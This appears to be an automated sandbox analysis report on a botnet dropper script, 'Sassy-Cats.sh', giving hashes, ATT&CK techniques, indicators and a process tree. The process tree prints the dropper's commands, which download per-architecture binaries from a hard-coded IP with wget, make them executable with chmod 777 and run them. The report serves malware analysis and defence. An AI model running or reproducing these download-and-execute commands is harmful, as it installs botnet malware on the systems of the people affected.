4d169cc73f0389c86d0e4d3df5a38042f38da00a3fe474275a2a1894fbbbee66

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
15/04/2026, 23:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Sassy-Cats.sh
Size 2KB
Sample260415-3m18rabz7k
SHA256 4d169cc73f0389c86d0e4d3df5a38042f38da00a3fe474275a2a1894fbbbee66
MD5 e1af8abd9f7747840e62b243b8ce889f
SHA1 99bef53f8886ad92234995cfe26866a691b5b635
SHA512 3e91944dbf501c2e8b433ae84e6689b4d372bd5a202c70087177cf527fe60b9291772b96b9333cdb411ad29673ea826a4c80de5640497fecf7ed590d7e5bd1dc
TLSH
T12D41338947E0238EF5C48E07FC9D8D7960D7A5A015AC5900E0780DF2A2BF987B6F9667
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
719	chmod
743	chmod
753	chmod
674	chmod
679	chmod
683	chmod
687	chmod
691	chmod
699	chmod
709	chmod
731	chmod
664	chmod
695	chmod
703	chmod

Deletes itself 3 IoCs

pid	Process
725	.Sassy.armv4l
736	.Sassy.armv5l
759	.Sassy.armv7l

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.Sassy.x86_64	665	Sassy-Cats.sh

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/SassyCNC	725	.Sassy.armv4l
Changes the process name, possibly in an attempt to hide itself	t.me/SassyCNC	736	.Sassy.armv5l
Changes the process name, possibly in an attempt to hide itself	t.me/SassyCNC	759	.Sassy.armv7l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/627/comm	.Sassy.armv5l
File opened for reading	/proc/12/comm	.Sassy.armv7l
File opened for reading	/proc/43/comm	.Sassy.armv7l
File opened for reading	/proc/76/comm	.Sassy.armv7l
File opened for reading	/proc/657/comm	.Sassy.armv4l
File opened for reading	/proc/588/comm	.Sassy.armv7l
File opened for reading	/proc/736/comm	.Sassy.armv7l
File opened for reading	/proc/756/comm	.Sassy.armv7l
File opened for reading	/proc/757/comm	.Sassy.armv7l
File opened for reading	/proc/26/comm	.Sassy.armv4l
File opened for reading	/proc/17/comm	.Sassy.armv4l
File opened for reading	/proc/18/comm	.Sassy.armv4l
File opened for reading	/proc/578/comm	.Sassy.armv5l
File opened for reading	/proc/17/comm	.Sassy.armv7l
File opened for reading	/proc/108/comm	.Sassy.armv7l
File opened for reading	/proc/24/comm	.Sassy.armv4l
File opened for reading	/proc/633/comm	.Sassy.armv4l
File opened for reading	/proc/18/comm	.Sassy.armv5l
File opened for reading	/proc/23/comm	.Sassy.armv5l
File opened for reading	/proc/108/comm	.Sassy.armv5l
File opened for reading	/proc/7/comm	.Sassy.armv7l
File opened for reading	/proc/13/comm	.Sassy.armv7l
File opened for reading	/proc/578/comm	.Sassy.armv7l
File opened for reading	/proc/138/comm	.Sassy.armv4l
File opened for reading	/proc/641/comm	.Sassy.armv4l
File opened for reading	/proc/722/comm	.Sassy.armv4l
File opened for reading	/proc/6/comm	.Sassy.armv5l
File opened for reading	/proc/8/comm	.Sassy.armv5l
File opened for reading	/proc/10/comm	.Sassy.armv5l
File opened for reading	/proc/12/comm	.Sassy.armv5l
File opened for reading	/proc/15/comm	.Sassy.armv5l
File opened for reading	/proc/6/comm	.Sassy.armv4l
File opened for reading	/proc/23/comm	.Sassy.armv4l
File opened for reading	/proc/326/comm	.Sassy.armv4l
File opened for reading	/proc/646/comm	.Sassy.armv4l
File opened for reading	/proc/322/comm	.Sassy.armv5l
File opened for reading	/proc/580/comm	.Sassy.armv5l
File opened for reading	/proc/646/comm	.Sassy.armv5l
File opened for reading	/proc/3/comm	.Sassy.armv7l
File opened for reading	/proc/588/comm	.Sassy.armv4l
File opened for reading	/proc/169/comm	.Sassy.armv5l
File opened for reading	/proc/10/comm	.Sassy.armv7l
File opened for reading	/proc/292/comm	.Sassy.armv7l
File opened for reading	/proc/295/comm	.Sassy.armv7l
File opened for reading	/proc/640/comm	.Sassy.armv7l
File opened for reading	/proc/25/comm	.Sassy.armv4l
File opened for reading	/proc/134/comm	.Sassy.armv4l
File opened for reading	/proc/107/comm	.Sassy.armv5l
File opened for reading	/proc/16/comm	.Sassy.armv7l
File opened for reading	/proc/22/comm	.Sassy.armv7l
File opened for reading	/proc/23/comm	.Sassy.armv7l
File opened for reading	/proc/28/comm	.Sassy.armv7l
File opened for reading	/proc/42/comm	.Sassy.armv7l
File opened for reading	/proc/640/comm	.Sassy.armv4l
File opened for reading	/proc/22/comm	.Sassy.armv5l
File opened for reading	/proc/26/comm	.Sassy.armv5l
File opened for reading	/proc/19/comm	.Sassy.armv7l
File opened for reading	/proc/25/comm	.Sassy.armv7l
File opened for reading	/proc/627/comm	.Sassy.armv4l
File opened for reading	/proc/3/comm	.Sassy.armv5l
File opened for reading	/proc/4/comm	.Sassy.armv5l
File opened for reading	/proc/158/comm	.Sassy.armv5l
File opened for reading	/proc/304/comm	.Sassy.armv5l
File opened for reading	/proc/642/comm	.Sassy.armv7l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
682	wget
684	.Sassy.mips
686	wget
688	.Sassy.mipsel

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.Sassy.m68k	wget
File opened for modification	/tmp/.Sassy.mipsel	wget
File opened for modification	/tmp/.Sassy.powerpc	wget
File opened for modification	/tmp/.Sassy.i486	wget
File opened for modification	/tmp/.Sassy.armv4l	wget
File opened for modification	/tmp/.Sassy.armv5l	wget
File opened for modification	/tmp/.Sassy.mips	wget
File opened for modification	/tmp/.Sassy.sparc	wget
File opened for modification	/tmp/.Sassy.sh4	wget
File opened for modification	/tmp/.Sassy.arc	wget
File opened for modification	/tmp/.Sassy.armv6l	wget
File opened for modification	/tmp/.Sassy.armv7l	wget
File opened for modification	/tmp/.Sassy.x86_64	wget
File opened for modification	/tmp/.Sassy.aarch64	wget

/tmp/Sassy-Cats.sh
/tmp/Sassy-Cats.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.x86_64
  2⤵
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod 777 .Sassy.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:664
- /tmp/.Sassy.x86_64
  ./.Sassy.x86_64
  2⤵
  PID:665
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.aarch64
  2⤵
  - Writes file to tmp directory
  PID:667
- /bin/chmod
  chmod 777 .Sassy.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/.Sassy.aarch64
  ./.Sassy.aarch64
  2⤵
  PID:675
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.m68k
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 .Sassy.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/.Sassy.m68k
  ./.Sassy.m68k
  2⤵
  PID:680
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 .Sassy.mips
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/.Sassy.mips
  ./.Sassy.mips
  2⤵
  - System Network Configuration Discovery
  PID:684
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 .Sassy.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/.Sassy.mipsel
  ./.Sassy.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:688
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.powerpc
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 .Sassy.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/.Sassy.powerpc
  ./.Sassy.powerpc
  2⤵
  PID:692
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.sparc
  2⤵
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 .Sassy.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/.Sassy.sparc
  ./.Sassy.sparc
  2⤵
  PID:696
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.sh4
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 .Sassy.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/.Sassy.sh4
  ./.Sassy.sh4
  2⤵
  PID:700
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.arc
  2⤵
  - Writes file to tmp directory
  PID:702
- /bin/chmod
  chmod 777 .Sassy.arc
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/.Sassy.arc
  ./.Sassy.arc
  2⤵
  PID:704
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.i486
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/chmod
  chmod 777 .Sassy.i486
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/.Sassy.i486
  ./.Sassy.i486
  2⤵
  PID:710
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.armv4l
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod 777 .Sassy.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/.Sassy.armv4l
  ./.Sassy.armv4l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:721
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.armv5l
  2⤵
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod 777 .Sassy.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/.Sassy.armv5l
  ./.Sassy.armv5l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:733
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.armv6l
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 .Sassy.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/.Sassy.armv6l
  ./.Sassy.armv6l
  2⤵
  PID:744
- /usr/bin/wget
  wget http://46.101.46.29/.Sassy/.Sassy.armv7l
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 .Sassy.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/.Sassy.armv7l
  ./.Sassy.armv7l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.Sassy.x86_64

Path /tmp/.Sassy.x86_64
Size 46KB
SHA256 ecf3db15e6f1b63848133bf3bcbd2159e54469886c1088630d789cba08ddacca
MD5 252401bb149447d91f17cbd6df4c3619
SHA1 e901acde6a1f05ee2468f34fb262bd4124ec7edc
SHA512 81a12ba4c550a1eb474e82658c7d190455a30a5c2277b8fae31c5d767a9f456f113824e1d5d4cff5683534cf9c919939ee3d95b0f0b68f7edbe231954774f37d
SSDEEP 768:nxlSz4dn4BpO9fQZkcNlmfUWRafHe+PZhitgwVhwbDmnxCviGaznr557KOIWmfp8:xlSz4dn4BYiDNuUWRamo/wUPMxCpaznN
TLSH
T17523F183E0AEB2BCC83131375C4965C4E6266123F64F4B4F55D2A6F98858506EE32FBD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download